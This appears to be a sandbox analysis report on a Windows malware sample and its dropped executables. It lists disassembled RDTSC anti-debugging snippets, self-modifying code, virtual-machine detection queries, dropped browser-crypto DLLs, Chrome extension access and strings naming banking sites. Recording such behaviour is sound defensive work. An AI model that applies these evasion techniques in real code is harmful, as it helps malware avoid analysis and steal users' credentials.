Source: C:\Users\user\DocumentsIDHCGDAFBK.exe	RDTSC instruction interceptor: First address: FFE92E second address: FFE953 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007F3994C2A2E1h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jnc 00007F3994C2A2DAh 0x00000011 pushad 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\DocumentsIDHCGDAFBK.exe	RDTSC instruction interceptor: First address: FFE953 second address: FFE97D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 push edx 0x00000007 pop edx 0x00000008 je 00007F3994CD1DB6h 0x0000000e pushad 0x0000000f popad 0x00000010 push edi 0x00000011 pop edi 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 push esi 0x00000016 pop esi 0x00000017 jmp 00007F3994CD1DC3h 0x0000001c rdtsc
Source: C:\Users\user\DocumentsIDHCGDAFBK.exe	RDTSC instruction interceptor: First address: 1015992 second address: 10159D7 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F3994C2A2DAh 0x00000008 pop edx 0x00000009 jng 00007F3994C2A2E2h 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F3994C2A2E3h 0x00000018 js 00007F3994C2A2DEh 0x0000001e jl 00007F3994C2A2D6h 0x00000024 pushad 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\DocumentsIDHCGDAFBK.exe	RDTSC instruction interceptor: First address: 10159D7 second address: 10159DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIDHCGDAFBK.exe	RDTSC instruction interceptor: First address: 1015B1B second address: 1015B38 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3994C2A2E9h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsIDHCGDAFBK.exe	RDTSC instruction interceptor: First address: 1015B38 second address: 1015B49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jp 00007F3994CD1DB6h 0x00000011 rdtsc
Source: C:\Users\user\DocumentsIDHCGDAFBK.exe	RDTSC instruction interceptor: First address: 1015B49 second address: 1015B7B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3994C2A2E7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F3994C2A2DFh 0x00000010 jne 00007F3994C2A2D6h 0x00000016 rdtsc
Source: C:\Users\user\DocumentsIDHCGDAFBK.exe	RDTSC instruction interceptor: First address: 1015B7B second address: 1015B87 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jne 00007F3994CD1DB6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\DocumentsIDHCGDAFBK.exe	RDTSC instruction interceptor: First address: 1015B87 second address: 1015B9D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3994C2A2E2h 0x00000009 rdtsc
Source: C:\Users\user\DocumentsIDHCGDAFBK.exe	RDTSC instruction interceptor: First address: 1015CEC second address: 1015CF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIDHCGDAFBK.exe	RDTSC instruction interceptor: First address: 1015CF0 second address: 1015D00 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jno 00007F3994C2A2DAh 0x0000000c rdtsc
Source: C:\Users\user\DocumentsIDHCGDAFBK.exe	RDTSC instruction interceptor: First address: 10193B9 second address: 10193D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 popad 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c jl 00007F3994CD1DBCh 0x00000012 pushad 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 push ecx 0x00000016 pop ecx 0x00000017 popad 0x00000018 mov eax, dword ptr [eax] 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\DocumentsIDHCGDAFBK.exe	RDTSC instruction interceptor: First address: 10193D9 second address: 10193DF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIDHCGDAFBK.exe	RDTSC instruction interceptor: First address: 10193DF second address: 10193F4 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jne 00007F3994CD1DB6h 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp+04h], eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\DocumentsIDHCGDAFBK.exe	RDTSC instruction interceptor: First address: 1019429 second address: 10194DC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3994C2A2DFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push esi 0x0000000c jmp 00007F3994C2A2E9h 0x00000011 pop esi 0x00000012 nop 0x00000013 call 00007F3994C2A2DBh 0x00000018 mov edi, dword ptr [ebp+122D1B19h] 0x0000001e pop edx 0x0000001f push 00000000h 0x00000021 jc 00007F3994C2A2DCh 0x00000027 mov dword ptr [ebp+122D2B06h], edi 0x0000002d push 560C1D2Eh 0x00000032 jns 00007F3994C2A2E2h 0x00000038 je 00007F3994C2A2DCh 0x0000003e jne 00007F3994C2A2D6h 0x00000044 xor dword ptr [esp], 560C1DAEh 0x0000004b mov dh, FDh 0x0000004d push 00000003h 0x0000004f push ecx 0x00000050 xor dl, FFFFFF8Ah 0x00000053 pop ecx 0x00000054 jng 00007F3994C2A2D6h 0x0000005a push 00000000h 0x0000005c push edx 0x0000005d jl 00007F3994C2A2DCh 0x00000063 pop ecx 0x00000064 push 00000003h 0x00000066 adc cx, ABBAh 0x0000006b mov edi, dword ptr [ebp+122D39AFh] 0x00000071 push CA141E7Eh 0x00000076 push edx 0x00000077 pushad 0x00000078 jmp 00007F3994C2A2DFh 0x0000007d push eax 0x0000007e push edx 0x0000007f rdtsc
Source: C:\Users\user\DocumentsIDHCGDAFBK.exe	RDTSC instruction interceptor: First address: 10194DC second address: 1019500 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 xor dword ptr [esp], 0A141E7Eh 0x0000000d mov di, ax 0x00000010 lea ebx, dword ptr [ebp+1245E2EDh] 0x00000016 pushad 0x00000017 add cx, 8BA8h 0x0000001c stc 0x0000001d popad 0x0000001e xchg eax, ebx 0x0000001f pushad 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\DocumentsIDHCGDAFBK.exe	RDTSC instruction interceptor: First address: 1019500 second address: 1019504 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIDHCGDAFBK.exe	RDTSC instruction interceptor: First address: 1019504 second address: 101951B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3994CD1DBFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\DocumentsIDHCGDAFBK.exe	RDTSC instruction interceptor: First address: 101951B second address: 101951F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIDHCGDAFBK.exe	RDTSC instruction interceptor: First address: 101951F second address: 101955B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3994CD1DC7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d js 00007F3994CD1DCDh 0x00000013 jmp 00007F3994CD1DC7h 0x00000018 rdtsc
Source: C:\Users\user\DocumentsIDHCGDAFBK.exe	RDTSC instruction interceptor: First address: 101955B second address: 1019560 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsIDHCGDAFBK.exe	RDTSC instruction interceptor: First address: 1019597 second address: 101959C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsIDHCGDAFBK.exe	RDTSC instruction interceptor: First address: 101959C second address: 10195A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIDHCGDAFBK.exe	RDTSC instruction interceptor: First address: 10195A2 second address: 1019603 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jmp 00007F3994CD1DC0h 0x0000000d nop 0x0000000e pushad 0x0000000f mov esi, dword ptr [ebp+122D3923h] 0x00000015 jmp 00007F3994CD1DBFh 0x0000001a popad 0x0000001b xor edx, dword ptr [ebp+122D3B1Fh] 0x00000021 push 00000000h 0x00000023 mov esi, dword ptr [ebp+122D398Fh] 0x00000029 mov dword ptr [ebp+122D2BB1h], edi 0x0000002f push 01BCFB59h 0x00000034 pushad 0x00000035 jmp 00007F3994CD1DC2h 0x0000003a pushad 0x0000003b push ebx 0x0000003c pop ebx 0x0000003d push eax 0x0000003e push edx 0x0000003f rdtsc
Source: C:\Users\user\DocumentsIDHCGDAFBK.exe	RDTSC instruction interceptor: First address: 10196E2 second address: 10196E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIDHCGDAFBK.exe	RDTSC instruction interceptor: First address: 10196E6 second address: 101972B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3994CD1DC4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jno 00007F3994CD1DBCh 0x0000000f popad 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 jmp 00007F3994CD1DBAh 0x00000019 jmp 00007F3994CD1DC1h 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\DocumentsIDHCGDAFBK.exe	RDTSC instruction interceptor: First address: 101972B second address: 1019730 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsIDHCGDAFBK.exe	RDTSC instruction interceptor: First address: 1019730 second address: 1019762 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 movsx esi, dx 0x0000000b push 00000000h 0x0000000d mov ecx, dword ptr [ebp+122D387Bh] 0x00000013 call 00007F3994CD1DB9h 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F3994CD1DC4h 0x0000001f rdtsc
Source: C:\Users\user\DocumentsIDHCGDAFBK.exe	RDTSC instruction interceptor: First address: 1019762 second address: 1019783 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3994C2A2DEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jns 00007F3994C2A2DCh 0x00000012 rdtsc
Source: C:\Users\user\DocumentsIDHCGDAFBK.exe	RDTSC instruction interceptor: First address: 1019783 second address: 101979C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3994CD1DC5h 0x00000009 rdtsc
Source: C:\Users\user\DocumentsIDHCGDAFBK.exe	RDTSC instruction interceptor: First address: 101979C second address: 10197C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push edx 0x0000000d jmp 00007F3994C2A2DBh 0x00000012 pop edx 0x00000013 mov eax, dword ptr [eax] 0x00000015 push eax 0x00000016 push edx 0x00000017 jg 00007F3994C2A2D8h 0x0000001d push esi 0x0000001e pop esi 0x0000001f rdtsc
Source: C:\Users\user\DocumentsIDHCGDAFBK.exe	RDTSC instruction interceptor: First address: 10198C5 second address: 10198E5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jg 00007F3994CD1DB6h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov dword ptr [esp+04h], eax 0x00000012 jo 00007F3994CD1DC8h 0x00000018 push eax 0x00000019 push edx 0x0000001a jnl 00007F3994CD1DB6h 0x00000020 rdtsc
Source: C:\Users\user\DocumentsIDHCGDAFBK.exe	RDTSC instruction interceptor: First address: 10198E5 second address: 10198E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIDHCGDAFBK.exe	RDTSC instruction interceptor: First address: 10198E9 second address: 101995D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push 00000000h 0x00000009 push eax 0x0000000a call 00007F3994CD1DB8h 0x0000000f pop eax 0x00000010 mov dword ptr [esp+04h], eax 0x00000014 add dword ptr [esp+04h], 0000001Dh 0x0000001c inc eax 0x0000001d push eax 0x0000001e ret 0x0000001f pop eax 0x00000020 ret 0x00000021 mov dword ptr [ebp+122D2A90h], eax 0x00000027 jmp 00007F3994CD1DC4h 0x0000002c mov cx, D0A9h 0x00000030 lea ebx, dword ptr [ebp+1245E301h] 0x00000036 mov ecx, dword ptr [ebp+122D3B2Bh] 0x0000003c jmp 00007F3994CD1DBFh 0x00000041 xchg eax, ebx 0x00000042 push eax 0x00000043 push edx 0x00000044 ja 00007F3994CD1DBCh 0x0000004a rdtsc
Source: C:\Users\user\DocumentsIDHCGDAFBK.exe	RDTSC instruction interceptor: First address: 102AAE3 second address: 102AAF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 jnp 00007F3994C2A2E4h 0x0000000c push eax 0x0000000d push edx 0x0000000e jg 00007F3994C2A2D6h 0x00000014 rdtsc
Source: C:\Users\user\DocumentsIDHCGDAFBK.exe	RDTSC instruction interceptor: First address: 1038B6F second address: 1038B86 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3994CD1DC3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsIDHCGDAFBK.exe	RDTSC instruction interceptor: First address: 1038F6F second address: 1038F7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F3994C2A2D6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\DocumentsIDHCGDAFBK.exe	RDTSC instruction interceptor: First address: 1038F7E second address: 1038F84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIDHCGDAFBK.exe	RDTSC instruction interceptor: First address: 1039246 second address: 103924C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIDHCGDAFBK.exe	RDTSC instruction interceptor: First address: 103924C second address: 1039266 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F3994CD1DC5h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsIDHCGDAFBK.exe	RDTSC instruction interceptor: First address: 1039266 second address: 103927C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 jg 00007F3994C2A2D6h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\DocumentsIDHCGDAFBK.exe	RDTSC instruction interceptor: First address: 103927C second address: 1039282 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 7AB7FE instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsIDHCGDAFBK.exe	Special instruction interceptor: First address: E8EBF9 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsIDHCGDAFBK.exe	Special instruction interceptor: First address: 10CDC19 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 6EEBF9 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 92DC19 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008294001\f979933b17.exe	Special instruction interceptor: First address: 1194AB6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008294001\f979933b17.exe	Special instruction interceptor: First address: 132B761 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008294001\f979933b17.exe	Special instruction interceptor: First address: 13B6D5A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008303001\lll.exe	Special instruction interceptor: First address: 5BC9CD instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008303001\lll.exe	Special instruction interceptor: First address: 7628B4 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008303001\lll.exe	Special instruction interceptor: First address: 5BA176 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008303001\lll.exe	Special instruction interceptor: First address: 76AE18 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008303001\lll.exe	Special instruction interceptor: First address: 7EA3CC instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	Special instruction interceptor: First address: A6C8DC instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	Special instruction interceptor: First address: A6C9B7 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	Special instruction interceptor: First address: C12AE8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	Special instruction interceptor: First address: C11813 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008305001\97aac85e85.exe	Special instruction interceptor: First address: 48B7FE instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1008305001\97aac85e85.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1008305001\97aac85e85.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1008305001\97aac85e85.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\DocumentsIDHCGDAFBK.exe

Code function: 22_2_05750C88 rdtsc

22_2_05750C88

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1008307001\514a61fbeb.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe TID: 6000	Thread sleep time: -38019s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6416	Thread sleep time: -42021s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 1268	Thread sleep time: -46023s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7124	Thread sleep time: -42021s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6004	Thread sleep time: -48024s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3664	Thread sleep count: 37 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3664	Thread sleep time: -74037s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4432	Thread sleep count: 35 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4432	Thread sleep time: -70035s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4428	Thread sleep count: 250 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4428	Thread sleep time: -7500000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4040	Thread sleep time: -60030s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4428	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008294001\f979933b17.exe TID: 1020	Thread sleep time: -42021s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008294001\f979933b17.exe TID: 528	Thread sleep time: -32016s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008294001\f979933b17.exe TID: 7840	Thread sleep time: -38019s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008303001\lll.exe TID: 6572	Thread sleep time: -150000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008303001\lll.exe TID: 9128	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe TID: 3472	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe TID: 9020	Thread sleep time: -90000s >= -30000s

Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1008303001\lll.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1008294001\f979933b17.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\DocumentsIDHCGDAFBK.exe

File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C5EEBF0 PR_GetNumberOfProcessors,GetSystemInfo,

0_2_6C5EEBF0

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: skotes.exe, skotes.exe, 00000019.00000002.3299721810.0000000000880000.00000040.00000001.01000000.0000000E.sdmp, lll.exe, 0000001C.00000002.3170126972.0000000000741000.00000040.00000001.01000000.00000010.sdmp, 954f709e67.exe, 0000001D.00000002.3298658925.0000000000BF7000.00000040.00000001.01000000.00000011.sdmp, 97aac85e85.exe, 0000001F.00000002.3186953472.00000000003E7000.00000040.00000001.01000000.00000012.sdmp, 954f709e67.exe, 00000020.00000002.3296906687.0000000000BF7000.00000040.00000001.01000000.00000011.sdmp, 97aac85e85.exe, 00000030.00000002.3298701593.00000000003E7000.00000040.00000001.01000000.00000012.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: 954f709e67.exe, 00000020.00000003.3260592336.0000000005D83000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: 954f709e67.exe, 00000020.00000003.3260592336.0000000005D83000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: 954f709e67.exe, 00000020.00000003.3260592336.0000000005D83000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: 954f709e67.exe, 0000001D.00000002.3306723851.0000000001147000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWm
Source: 954f709e67.exe, 00000020.00000003.3260592336.0000000005D83000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: 954f709e67.exe, 00000020.00000003.3260592336.0000000005D83000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: 954f709e67.exe, 00000020.00000003.3258859649.0000000005D90000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696428655p
Source: 954f709e67.exe, 00000020.00000002.3308221521.00000000015CC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWh[
